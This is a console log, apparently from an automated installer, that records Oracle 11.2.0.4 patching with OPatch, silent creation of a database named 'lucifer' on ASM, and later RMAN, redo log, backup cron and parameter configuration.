Central Inventory : /u01/app/oraInventoryfrom           : /u01/app/oracle/product/11.2.0/db/oraInst.loc
OPatch version    : 11.2.0.3.44
OUI version       : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db/cfgtoollogs/opatch/opatch2024-04-08_13-21-07PM_1.logVerifying environment and performing prerequisite checks...
OPatch continues with these patches:   17478514  18031668  18522509  19121551  19769489  20299013  20760982  21352635  21948347  22502456  23054359  24006111  24732075  25869727  26609445  26392168  26925576  27338049  27734982  28204707  28729262  29141056  29497421  29913194  30298532  30670774  31103343  31537677  31983472  32328626  32758711  33128584  33477185  33711103  34057724  34386237  34677698  34998337  35269283  35574075  Do you want to proceed? [y|n]
Y (auto-answered by -silent)
User Responded with: Y
All checks passed.Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.
(Oracle Home = '/u01/app/oracle/product/11.2.0/db')Is the local system ready for patching? [y|n]
Y (auto-answered by -silent)
User Responded with: Y
Backing up files...
Applying sub-patch '17478514' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.sdo, 11.2.0.4.0...Patching component oracle.sysman.agent, 10.2.0.4.5...Patching component oracle.xdk, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.sdo.locator, 11.2.0.4.0...Patching component oracle.nlsrtl.rsf, 11.2.0.4.0...Patching component oracle.xdk.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...
Applying sub-patch '18031668' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf, 11.2.0.4.0...Patching component oracle.rdbms.crs, 11.2.0.4.0...Patching component oracle.precomp.common, 11.2.0.4.0...Patching component oracle.ldap.rsf.ic, 11.2.0.4.0...Patching component oracle.rdbms.deconfig, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...
Applying sub-patch '18522509' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.precomp.common, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.deconfig, 11.2.0.4.0...
Applying sub-patch '19121551' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.precomp.common, 11.2.0.4.0...Patching component oracle.sysman.console.db, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.ordim.client, 11.2.0.4.0...Patching component oracle.ordim.jai, 11.2.0.4.0...
Applying sub-patch '19769489' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.sysman.agent, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.precomp.common, 11.2.0.4.0...Patching component oracle.ovm, 11.2.0.4.0...Patching component oracle.xdk, 11.2.0.4.0...Patching component oracle.rdbms.util, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.xdk.parser.java, 11.2.0.4.0...Patching component oracle.oraolap, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.xdk.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.rdbms.deconfig, 11.2.0.4.0...
Applying sub-patch '20299013' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms.dv, 11.2.0.4.0...Patching component oracle.rdbms.oci, 11.2.0.4.0...Patching component oracle.precomp.common, 11.2.0.4.0...Patching component oracle.sysman.agent, 10.2.0.4.5...Patching component oracle.xdk, 11.2.0.4.0...Patching component oracle.sysman.common, 10.2.0.4.5...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.xdk.parser.java, 11.2.0.4.0...Patching component oracle.sysman.console.db, 11.2.0.4.0...Patching component oracle.xdk.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.sysman.common.core, 10.2.0.4.5...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.rdbms.deconfig, 11.2.0.4.0...
Applying sub-patch '20760982' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.sysman.console.db, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...
Applying sub-patch '21352635' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.sysman.agent, 10.2.0.4.5...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...
Applying sub-patch '21948347' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.tfa, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.sysman.agent, 10.2.0.4.5...Patching component oracle.ovm, 11.2.0.4.0...Patching component oracle.xdk, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.nlsrtl.rsf, 11.2.0.4.0...Patching component oracle.xdk.parser.java, 11.2.0.4.0...Patching component oracle.sysman.console.db, 11.2.0.4.0...Patching component oracle.xdk.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.sysman.oms.core, 10.2.0.4.5...
Applying sub-patch '22502456' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.tfa, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.precomp.common, 11.2.0.4.0...Patching component oracle.oraolap.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.olap, 11.2.0.4.0...Patching component oracle.oraolap, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...
Applying sub-patch '23054359' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms.dv, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...
Applying sub-patch '24006111' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.sqlplus.ic, 11.2.0.4.0...Patching component oracle.sqlplus, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...
Applying sub-patch '24732075' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.precomp.common, 11.2.0.4.0...Patching component oracle.sysman.plugin.db.main.agent, 11.2.0.4.0...Patching component oracle.sqlplus.ic, 11.2.0.4.0...Patching component oracle.sqlplus, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.util, 11.2.0.4.0...Patching component oracle.ordim.client, 11.2.0.4.0...Patching component oracle.ordim.jai, 11.2.0.4.0...Patching component oracle.ordim.server, 11.2.0.4.0...
Applying sub-patch '25869727' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.oid.client, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.ldap.rsf, 11.2.0.4.0...Patching component oracle.oracore.rsf, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...
Applying sub-patch '26609445' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.oracore.rsf, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...
Applying sub-patch '26392168' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.oid.client, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.network.rsf, 11.2.0.4.0...Patching component oracle.ldap.client, 11.2.0.4.0...Patching component oracle.sysman.agent, 10.2.0.4.5...Patching component oracle.xdk, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.network.listener, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.nlsrtl.rsf, 11.2.0.4.0...Patching component oracle.xdk.parser.java, 11.2.0.4.0...Patching component oracle.xdk.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...
Applying sub-patch '26925576' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...
Applying sub-patch '27338049' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.assistants.server, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...
Applying sub-patch '27734982' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.ctx, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.ctx.rsf, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...
Applying sub-patch '28204707' to OH '/u01/app/oracle/product/11.2.0/db'
Applying changes to emctl script on the home: /u01/app/oracle/product/11.2.0/db ...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.oracore.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf.ic, 11.2.0.4.0...Patching component oracle.network.rsf, 11.2.0.4.0...Patching component oracle.sysman.agent, 10.2.0.4.5...Patching component oracle.sysman.console.db, 11.2.0.4.0...Patching component oracle.ldap.security.osdt, 11.2.0.4.0...Patching component oracle.ldap.owm, 11.2.0.4.0...Patching component oracle.sqlplus.rsf, 11.2.0.4.0...Patching component oracle.ctx, 11.2.0.4.0...
Applying sub-patch '28729262' to OH '/u01/app/oracle/product/11.2.0/db'
INFO: Script isn't applicable to this port!Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms.util, 11.2.0.4.0...Patching component oracle.ldap.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf.ic, 11.2.0.4.0...Patching component oracle.network.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.ctx, 11.2.0.4.0...
Applying sub-patch '29141056' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.oracore.rsf, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...
Applying sub-patch '29497421' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf.ic, 11.2.0.4.0...Patching component oracle.oracore.rsf, 11.2.0.4.0...Patching component oracle.ctx, 11.2.0.4.0...
Applying sub-patch '29913194' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.network.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf.ic, 11.2.0.4.0...Patching component oracle.rdbms.util, 11.2.0.4.0...
Applying sub-patch '30298532' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.rdbms.tg4tera, 11.2.0.4.0 ] , [ oracle.rdbms.tg4sybs, 11.2.0.4.0 ] , [ oracle.rdbms.tg4ifmx, 11.2.0.4.0 ] , [ oracle.rdbms.tg4db2, 11.2.0.4.0 ] , [ oracle.rdbms.tg4msql, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.hsodbc, 11.2.0.4.0...Patching component oracle.ldap.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf.ic, 11.2.0.4.0...
Applying sub-patch '30670774' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.network.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf.ic, 11.2.0.4.0...Patching component oracle.swd.oui, 11.2.0.4.0...Patching component oracle.ctx, 11.2.0.4.0...
Applying sub-patch '31103343' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...
Applying sub-patch '31537677' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms.dv, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.ldap.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf.ic, 11.2.0.4.0...Patching component oracle.oracore.rsf, 11.2.0.4.0...Patching component oracle.rdbms.util, 11.2.0.4.0...Patching component oracle.dbdev, 11.2.0.4.0...Patching component oracle.ctx, 11.2.0.4.0...Patching component oracle.buildtools.rsf, 11.2.0.4.0...
Applying sub-patch '31983472' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.ctx, 11.2.0.4.0...
Applying sub-patch '32328626' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms.dv, 11.2.0.4.0...Patching component oracle.rdbms.rman, 11.2.0.4.0...Patching component oracle.ldap.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf.ic, 11.2.0.4.0...
Applying sub-patch '32758711' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.ctx, 11.2.0.4.0...Patching component oracle.network.rsf, 11.2.0.4.0...
Applying sub-patch '33128584' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.ctx, 11.2.0.4.0...
Applying sub-patch '33477185' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.network.rsf, 11.2.0.4.0...Patching component oracle.rdbms.dv, 11.2.0.4.0...
Applying sub-patch '33711103' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.rdbms.tg4tera, 11.2.0.4.0 ] , [ oracle.rdbms.tg4sybs, 11.2.0.4.0 ] , [ oracle.rdbms.tg4msql, 11.2.0.4.0 ] , [ oracle.rdbms.tg4ifmx, 11.2.0.4.0 ] , [ oracle.rdbms.tg4db2, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.network.rsf, 11.2.0.4.0...Patching component oracle.rdbms.hsodbc, 11.2.0.4.0...Patching component oracle.rdbms.hs_common, 11.2.0.4.0...Patching component oracle.buildtools.rsf, 11.2.0.4.0...Patching component oracle.buildtools.rsf, 11.2.0.4.0...
Applying sub-patch '34057724' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.network.cman, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.network.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf, 11.2.0.4.0...Patching component oracle.ldap.rsf.ic, 11.2.0.4.0...Patching component oracle.swd.oui.core, 11.2.0.4.0...
Applying sub-patch '34386237' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.network.cman, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.network.rsf, 11.2.0.4.0...Patching component oracle.swd.oui.core, 11.2.0.4.0...Patching component oracle.ctx, 11.2.0.4.0...
Applying sub-patch '34677698' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.network.cman, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.javavm.containers, 11.2.0.4.0...
Applying sub-patch '34998337' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.network.cman, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...
Applying sub-patch '35269283' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.network.cman, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.network.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.dbdev, 11.2.0.4.0...
Applying sub-patch '35574075' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.network.cman, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.network.rsf, 11.2.0.4.0...Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.sysman.oms.core, 10.2.0.4.5...Patching component oracle.marvel, 11.2.0.4.0...Patching component oracle.javavm.containers, 11.2.0.4.0...Patching component oracle.dbjava.ucp, 11.2.0.4.0...Patching component oracle.owb.rsf, 11.2.0.4.0...Patching component oracle.sysman.ccr, 10.3.8.1.0...Patching component oracle.sysman.ccr.client, 10.3.2.1.0...Patching component oracle.sysman.common, 10.2.0.4.5...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.javavm.containers, 11.2.0.4.0...
Composite patch 35574075 successfully applied.
Log file location: /u01/app/oracle/product/11.2.0/db/cfgtoollogs/opatch/opatch2024-04-08_13-21-07PM_1.logOPatch succeeded.#==============================================================#                                                                                  
Oracle 软件安装补丁 33991024                                                                                  
#==============================================================#                                                                                  Oracle Interim Patch Installer version 11.2.0.3.44
Copyright (c) 2024, Oracle Corporation.  All rights reserved.PREREQ sessionOracle Home       : /u01/app/oracle/product/11.2.0/db
Central Inventory : /u01/app/oraInventoryfrom           : /u01/app/oracle/product/11.2.0/db/oraInst.loc
OPatch version    : 11.2.0.3.44
OUI version       : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db/cfgtoollogs/opatch/opatch2024-04-08_13-31-15PM_1.logInvoking prereq "checkconflictagainstohwithdetail"Prereq "checkConflictAgainstOHWithDetail" passed.OPatch succeeded.
Oracle Interim Patch Installer version 11.2.0.3.44
Copyright (c) 2024, Oracle Corporation.  All rights reserved.Oracle Home       : /u01/app/oracle/product/11.2.0/db
Central Inventory : /u01/app/oraInventoryfrom           : /u01/app/oracle/product/11.2.0/db/oraInst.loc
OPatch version    : 11.2.0.3.44
OUI version       : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db/cfgtoollogs/opatch/opatch2024-04-08_13-31-18PM_1.logVerifying environment and performing prerequisite checks...
OPatch continues with these patches:   33991024  Do you want to proceed? [y|n]
Y (auto-answered by -silent)
User Responded with: Y
All checks passed.Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.
(Oracle Home = '/u01/app/oracle/product/11.2.0/db')Is the local system ready for patching? [y|n]
Y (auto-answered by -silent)
User Responded with: Y
Backing up files...
Applying interim patch '33991024' to OH '/u01/app/oracle/product/11.2.0/db'Patching component oracle.rdbms.rsf, 11.2.0.4.0...Patching component oracle.buildtools.rsf, 11.2.0.4.0...Patching component oracle.has.db, 11.2.0.4.0...
Patch 33991024 successfully applied.
Log file location: /u01/app/oracle/product/11.2.0/db/cfgtoollogs/opatch/opatch2024-04-08_13-31-18PM_1.logOPatch succeeded.Oracle 执行 relink:                                                                                  writing relink log to: /u01/app/oracle/product/11.2.0/db/install/relink.log#==============================================================#                                                                                  
OJVM 补丁安装                                                                                     
#==============================================================#                                                                                  Oracle Interim Patch Installer version 11.2.0.3.44
Copyright (c) 2024, Oracle Corporation.  All rights reserved.PREREQ sessionOracle Home       : /u01/app/oracle/product/11.2.0/db
Central Inventory : /u01/app/oraInventoryfrom           : /u01/app/oracle/product/11.2.0/db/oraInst.loc
OPatch version    : 11.2.0.3.44
OUI version       : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db/cfgtoollogs/opatch/opatch2024-04-08_13-32-25PM_1.logInvoking prereq "checkconflictagainstohwithdetail"Prereq "checkConflictAgainstOHWithDetail" passed.OPatch succeeded.
Oracle Interim Patch Installer version 11.2.0.3.44
Copyright (c) 2024, Oracle Corporation.  All rights reserved.Oracle Home       : /u01/app/oracle/product/11.2.0/db
Central Inventory : /u01/app/oraInventoryfrom           : /u01/app/oracle/product/11.2.0/db/oraInst.loc
OPatch version    : 11.2.0.3.44
OUI version       : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db/cfgtoollogs/opatch/opatch2024-04-08_13-32-28PM_1.logVerifying environment and performing prerequisite checks...
OPatch continues with these patches:   35685663  Do you want to proceed? [y|n]
Y (auto-answered by -silent)
User Responded with: Y
All checks passed.Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.
(Oracle Home = '/u01/app/oracle/product/11.2.0/db')Is the local system ready for patching? [y|n]
Y (auto-answered by -silent)
User Responded with: Y
Backing up files...
Applying interim patch '35685663' to OH '/u01/app/oracle/product/11.2.0/db'
ApplySession: Optional component(s) [ oracle.sqlj, 11.2.0.4.0 ] , [ oracle.sqlj.companion, 11.2.0.4.0 ]  not present in the Oracle Home or a higher version is found.Patching component oracle.javavm.server, 11.2.0.4.0...Patching component oracle.precomp.common, 11.2.0.4.0...Patching component oracle.rdbms, 11.2.0.4.0...Patching component oracle.rdbms.dbscripts, 11.2.0.4.0...Patching component oracle.javavm.client, 11.2.0.4.0...Patching component oracle.dbjava.jdbc, 11.2.0.4.0...Patching component oracle.dbjava.ic, 11.2.0.4.0...
Patch 35685663 successfully applied.
Log file location: /u01/app/oracle/product/11.2.0/db/cfgtoollogs/opatch/opatch2024-04-08_13-32-28PM_1.logOPatch succeeded.#==============================================================#                                                                                  
Oracle 软件版本                                                                                   
#==============================================================#                                                                                  SQL*Plus: Release 11.2.0.4.0 Production#==============================================================#                                                                                  
Oracle 补丁信息                                                                                   
#==============================================================#                                                                                  35685663;OJVM PATCH SET UPDATE 11.2.0.4.231017
33991024;11204CERT ON OL8: LINKING ERRORS DURING 11204 FOR DB INSTALL ON OL8.2
35574075;Database Patch Set Update : 11.2.0.4.231017 (35574075)OPatch succeeded.#==============================================================#                                                                                  
静默建库命令:lucifer                                                                                  
#==============================================================#                                                                                  dbca -silent -createDatabase \
-templateName General_Purpose.dbc \
-responseFile NO_VALUE \
-gdbname lucifer \
-sid lucifer \
-sysPassword oracle \
-systemPassword oracle \
-redoLogFileSize 100 \
-diskGroupName DATA \
-storageType ASM \
-characterSet AL32UTF8 \
-nationalCharacterSet AL16UTF16 \
-emConfiguration NONE \
-automaticMemoryManagement false \
-totalMemory 3342 \
-databaseType OLTP                                                                                  #==============================================================#                                                                                  
创建数据库实例:lucifer                                                                                  
#==============================================================#                                                                                  Copying database files
1% complete
3% complete
10% complete
17% complete
24% complete
35% complete
Creating and starting Oracle instance
37% complete
42% complete
47% complete
52% complete
53% complete
56% complete
58% complete
Registering database with Oracle Restart
64% complete
Completing Database Creation
68% complete
71% complete
75% complete
76% complete
77% complete
78% complete
79% complete
80% complete
81% complete
82% complete
92% complete
100% complete
Look at the log file "/u01/app/oracle/cfgtoollogs/dbca/lucifer/lucifer.log" for further details.#==============================================================#                                                                                  
配置 OMF && 优化 RMAN                                                                                  
#==============================================================#                                                                                  Recovery Manager: Release 11.2.0.4.0 - Production on Mon Apr 8 13:45:43 2024Copyright (c) 1982, 2011, Oracle and/or its affiliates.  All rights reserved.connected to target database: LUCIFER (DBID=4021640936)RMAN> 
using target database control file instead of recovery catalog
new RMAN configuration parameters:
CONFIGURE SNAPSHOT CONTROLFILE NAME TO '+DATA/snapcf_fdcdb1.f';
new RMAN configuration parameters are successfully storedRMAN> 
RMAN configuration parameters for database with db_unique_name LUCIFER are:
CONFIGURE SNAPSHOT CONTROLFILE NAME TO '+DATA/snapcf_fdcdb1.f';RMAN> Recovery Manager complete.NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
db_create_file_dest                  string      +DATA#==============================================================#                                                                                  
配置 Oracle 数据库控制文件复用                                                                                  
#==============================================================#                                                                                  数据库控制文件:                                                                                  NAME
----------------------------------------------------------------------------------------------------
+DATA/lucifer/controlfile/current.262.1165757673
+DATA/lucifer/controlfile/current.261.1165757673#==============================================================#                                                                                  
配置在线重做日志                                                                                  
#==============================================================#                                                                                  数据库在线重做日志文件:                                                                                  THREAD#     GROUP# MEMBER                                                                                                                      size(M)
---------- ---------- ------------------------------------------------------------------------------------------------------------------------ ----------1          1 +DATA/lucifer/onlinelog/group_1.263.1165757675                                                                                  1001          1 +DATA/lucifer/onlinelog/group_1.264.1165757677                                                                                  1001          2 +DATA/lucifer/onlinelog/group_2.265.1165757679                                                                                  1001          2 +DATA/lucifer/onlinelog/group_2.266.1165757681                                                                                  1001          3 +DATA/lucifer/onlinelog/group_3.267.1165757683                                                                                  1001          3 +DATA/lucifer/onlinelog/group_3.268.1165757683                                                                                  1001         11 +DATA/lucifer/onlinelog/group_11.271.1165758347                                                                                 1001         11 +DATA/lucifer/onlinelog/group_11.272.1165758347                                                                                 1001         12 +DATA/lucifer/onlinelog/group_12.273.1165758349                                                                                 1001         12 +DATA/lucifer/onlinelog/group_12.274.1165758351                                                                                 1001         13 +DATA/lucifer/onlinelog/group_13.275.1165758353                                                                                 1001         13 +DATA/lucifer/onlinelog/group_13.276.1165758355                                                                                 1001         14 +DATA/lucifer/onlinelog/group_14.277.1165758357                                                                                 1001         14 +DATA/lucifer/onlinelog/group_14.278.1165758357                                                                                 1001         15 +DATA/lucifer/onlinelog/group_15.279.1165758359                                                                                 1001         15 +DATA/lucifer/onlinelog/group_15.280.1165758361                                                                                 100#==============================================================#                                                                                  
配置 Oracle 数据库开机自启                                                                                  
#==============================================================#                                                                                  #==============================================================#                                                                                  
配置 RMAN 备份任务                                                                                  
#==============================================================#                                                                                  ## OracleBegin
00 02 * * * /home/oracle/scripts/del_arch_lucifer.sh
#00 00 * * 0 /home/oracle/scripts/dbbackup_lv0_lucifer.sh
#00 00 * * 1,2,3,4,5,6 /home/oracle/scripts/dbbackup_lv1_lucifer.sh#==============================================================#                                                                                  
优化数据库参数                                                                                  
#==============================================================#                                                                                  数据库参数:                                                                                    NAME                                               SID        SPVALUE                                                                          VALUE
-------------------------------------------------- ---------- -------------------------------------------------------------------------------- --------------------------------------------------------------------------------
_b_tree_bitmap_plans                               *          FALSE                                                                            FALSE
_datafile_write_errors_crash_instance              *          FALSE                                                                            FALSE
